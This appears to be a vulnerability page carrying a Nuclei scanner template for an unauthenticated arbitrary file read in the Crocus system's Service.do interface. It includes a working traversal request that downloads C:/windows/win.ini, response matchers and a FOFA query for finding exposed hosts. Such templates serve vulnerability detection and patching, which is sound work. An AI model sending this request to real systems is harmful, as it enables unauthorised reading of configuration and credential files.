crocus-lfi: Crocus system Service.do - Arbitrary File Read

2025-08-01 Crocus system Service do PoC Public

Description

There is an arbitrary file reading vulnerability in the Service.do interface of Ruiming Technology's Crocus system. An unauthenticated remote attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc. This leaves the website in an extremely unsafe state.

PoC

id: crocus-lfi

info:
  name: Crocus system Service.do - Arbitrary File Read
  author: pussycat0x
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in the Service.do interface of Ruiming Technology's Crocus system. An unauthenticated remote attacker can use this vulnerability to read important system files (such as database configuration files, system configuration files), database configuration files, etc. This leaves the website in an extremely unsafe state.
  reference:
    - https://github.com/wy876/POC/blob/main/%E9%94%90%E6%98%8E%E6%8A%80%E6%9C%AFCrocus%E7%B3%BB%E7%BB%9FService.do%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-22,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/ThirdResource/respond/respond.min.js" && title="Crocus"
  tags: crocus,lfi,vuln

http:
  - raw:
      - |
        GET /Service.do?Action=Download&Path=C:/windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "bit app support"
          - "fonts"
          - "extensions"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402204896e25b58fe4831247e61748d7ffed73ed06207462d5614c59ab8d2414ca1b80220055d34f0662154ea567841d5f3a7f8a99ad7857c3e8670668749be447bb1363e:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/crocus-lfi.yaml

References

Related Vulnerabilities